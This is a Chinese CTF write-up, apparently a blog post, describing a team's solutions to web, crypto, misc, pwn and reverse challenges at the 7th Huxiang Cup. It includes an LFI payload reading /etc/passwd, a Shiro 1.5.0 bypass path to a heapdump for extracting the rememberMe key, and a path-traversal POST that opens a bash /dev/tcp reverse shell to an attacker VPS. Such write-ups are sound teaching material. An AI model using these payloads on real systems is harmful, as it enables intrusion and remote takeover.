第七届“湖湘杯” Bugku战队writeup

我只解了一道密码和一道杂项,因为疫情没有去线下赛。

请添加图片描述

web

Eazywill

开局给了源代码,审计一下
重点在View::fetch()函数,经过一系列流程调用了renderTo,以下是重点代码

extract($_vars);
include $cfile;

在这里插入图片描述
那么直接传参: /?name=cfile&value=/etc/passwd
可以读取,但是尝试读取/flag失败,
联想到以前看过https://tttang.com/archive/1312/
那么直接靠这个考点,直接传参:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Pentest in Autumn

首先给了pom.xml
提示shiro是1.5.0版本,有未授权访问漏洞
访问http://eci-2zej1goyn9jh89xtqlpd.cloudeci1.ichunqiu.com:8888/;a/actuator/heapdump,
然后使用MAT打开进行分析
直接oql查询:

select s from org.apache.shiro.web.mgt.CookieRememberMeManager s

直接查看左侧Attributes
在这里插入图片描述
在这里插入图片描述
根据密钥的生成规则,
base64.b64encode(struct.pack(’<bbbbbbbbbbbbbbbb’, -8,51,71,105,69,57,-45,-46,104,73,116,3,28,126,-34,58))
得到密钥:
+DNHaUU509JoSXQDHH7eOg==
然后使用shiro的利用工具,直接getflag
在这里插入图片描述

crypto

signin

和[羊城杯 2020]RRRRRRRSA挺像的,前面连分数逼近部分的脚本用的是翅膀师傅博客里的。

from Crypto.Util.number import *
from gmpy2 import *
def transform(x, y):  # 使用辗转相除将分数x/y转为连分数的形式
    res = []
    while y:
        res.append(x // y)
        x, y = y, x % y
    return res


def continued_fraction(sub_res):
    numerator, denominator = 1, 0
    for i in sub_res[::-1]:  # 从sublist的后面往前循环
        denominator, numerator = numerator, i * numerator + denominator
    return denominator, numerator  # 得到渐进分数的分母和分子,并返回


# 求解每个渐进分数
def sub_fraction(x, y):
    res = transform(x, y)
    res = list(map(continued_fraction, (res[0:i] for i in range(1, len(res)))))  # 将连分数的结果逐一截取以求渐进分数
    return res


def wienerAttack(n1, n2):
    for (q2, q1) in sub_fraction(n1, n2):  # 用一个for循环来注意试探n1/n2的连续函数的渐进分数,直到找到一个满足条件的渐进分数
        if q1 == 0:  # 可能会出现连分数的第一个为0的情况,排除
            continue
        if n1 % q1 == 0 and q1 != 1:  # 成立条件
            return (q1, q2)
    print("该方法不适用")
c1=361624030197288323178211941746074961985876772079713896964822566468795093475887773853629454653096485450671233584616088768705417987527877166166213574572987732852155320225332020636386698169212072312758052524652761304795529199864805108000796457423822443871436659548626629448170698048984709740274043050729249408577243328282313593461300703078854044587993248807613713896590402657788194264718603549894361488507629356532718775278399264279359256975688280723740017979438505001819438
c2=33322989148902718763644384246610630825314206644879155585369541624158380990667828419255828083639294898100922608833810585530801931417726134558845725168047585271855248605561256531342703212030641555260907310067120102069499927711242804407691706542428236208695153618955781372741765233319988193384708525251620506966304554054884590718068210659709406626033891748214407992041364462525367373648910810036622684929049996166651416565651803952838857960054689875755131784246099270581394

N1=1150398070565459492080597718626032792435556703413923483458704675295997646493249759818468321328556510074044954676615760446708253531839417036997811506222349194302791943489195718713797322878586379546657275419261647635859989280700191441312691274285176619391539387875252135478424580680264554294179123254566796890998243909286508189826458854346825493157697201495100628216832191035903848391447704849808577310612723700318670466035077202673373956324725108350230357879374234418393233
N2=1242678737076048096780023147702514112272319497423818488193557934695583793070332178723043194823444815153743889740338870676093799728875725651036060313223096288606947708155579060628807516053981975820338028456770109640111153719903207363617099371353910243497871090334898522942934052035102902892149792570965804205461900841595290667647854346905445201396273291648968142608158533514391348407631818144116768794595226974831093526512117505486679153727123796834305088741279455621586989
q1,q2=wienerAttack(N1, N2)

p1=iroot(N1//q1,4)[0]
p2=iroot(N2//q2,4)[0]

phi1=(p1**4-p1**3)*(q1-1)
phi2=(p2**4-p2**3)*(q2-1)

d1=invert(65537,phi1)
d2=invert(65537,phi2)
print(long_to_bytes(pow(c1,d1,N1)))
print(long_to_bytes(pow(c2,d2,N2)))
flag{8ef333ac-21a7-11ec-80f1-00155d83f114}

misc

某取证题

直接foremost,可以看到很多jpg图片和png图片,有的jpg图片上好像有字符,于是
在这里插入图片描述
一个一个dumpfiles弄出来,其中一张上面有后半个flag
在这里插入图片描述
接着pslist看进程,发现有wireshark,dump出来,再foremost,其中有一个加密的压缩包
在这里插入图片描述
尝试之后发现不是常规加密,是一种明文攻击,参考文章:https://blog.csdn.net/q851579181q/article/details/109767425

因为这里是jpg文件,所以选定文件头作为明文保存为key,这里选定的明文比较长,所以爆破速度会快很多,不过这一段是t.jpg对应的,跑秘钥的时候只能指定t.jpg。用FFD8FFE000104A4649460001作为明文段会慢一点,但是两个图片都能指定。

echo -n "FFD8FFE000104A4649460001010000010001" | xxd -r -ps >key   

然后跑秘钥

time ./bkcrack -C 1.zip -c t.jpg -p key -o 0

最后能跑出三段秘钥b0a90b36 14dd97b9 f5d648cf

在这里插入图片描述

再用秘钥去解两个图片,这里以a.jpg为例,解出来之后发现是Deflate的压缩形式,不能直接查看,于是使用inflate.py进行解压

bkcrack -C 1.zip -c a.jpg  -k b0a90b36 14dd97b9 f5d648cf -d a1.jpg

在这里插入图片描述

#解压
python3 tools/inflate.py < a1.jpg > 2.jpg

解压之后就可以看到前一半flag
在这里插入图片描述

pwn

tiny_httpd

附件主页文件里发现有命令执行加绕过
方法
1.vps监听端口
2.然后连靶机nc执行下面命令

POST //...//...//...//...//...//...//...//...//...//...//...//.../bin/bashContent-Length: 100 HTTP/1.0 200 OKHTTP/1.0 200 OKbash -i >& /dev/tcp/vps地址/监听端口  0>&1 nc

vps上会弹shell,直接cat flag就行
在这里插入图片描述

reverse

Hideit

这个题首先祭出findcrypt
在这里插入图片描述
发现有salsa20
分析一下流程,其实需要调试
在这里插入图片描述
调试分析后发现是一个dll文件,分析算法
第一个算法是xxtea的加密算法,后面的才是findcrypt找到的salsa20算法。
第一个解出来密钥:dotitsit,,和真正的flag没啥关系
关键在于salas20算法,在内存中找到了0N3@aYI_M3l0dy_KurOm1_W_Suk1dqy0
至于算法的解密,其实都是异或算法,只要在内存中提取密钥流就行了,
把key和密文异或得出flag

key = [0x8D, 0xE2, 0x3D, 0xC2, 0x19, 0xF2, 0x2D, 0xCA, 0x18, 0x14, 0xCF, 0x52, 0x77, 0x5A, 0x9C, 0x13, 0xAA, 0xCC, 0x04, 0x5B, 0x92, 0xC1, 0x0C, 0x68, 0x45, 0x58, 0xF9, 0x47, 0x68, 0xD9, 0x35, 0xC5]
encstr = [0xEB, 0x8E, 0x5C, 0xA5, 0x62, 0xB4, 0x1C, 0x84, 0x5C, 0x59, 0xFC, 0x0D, 0x43, 0x3C, 0xAB, 0x20, 0xD8, 0x93, 0x33, 0x13, 0xA1, 0x9E, 0x39, 0x00, 0x76, 0x14, 0xB5, 0x04, 0x58, 0x9D, 0x06, 0xB8]
flag = ""
for i in range(32):
    flag += chr(key[i] ^ encstr[i])
print flag
#flag{F1NDM3_4f73r_7H3_5h3LLC0D3}
  • 6
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z.volcano

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值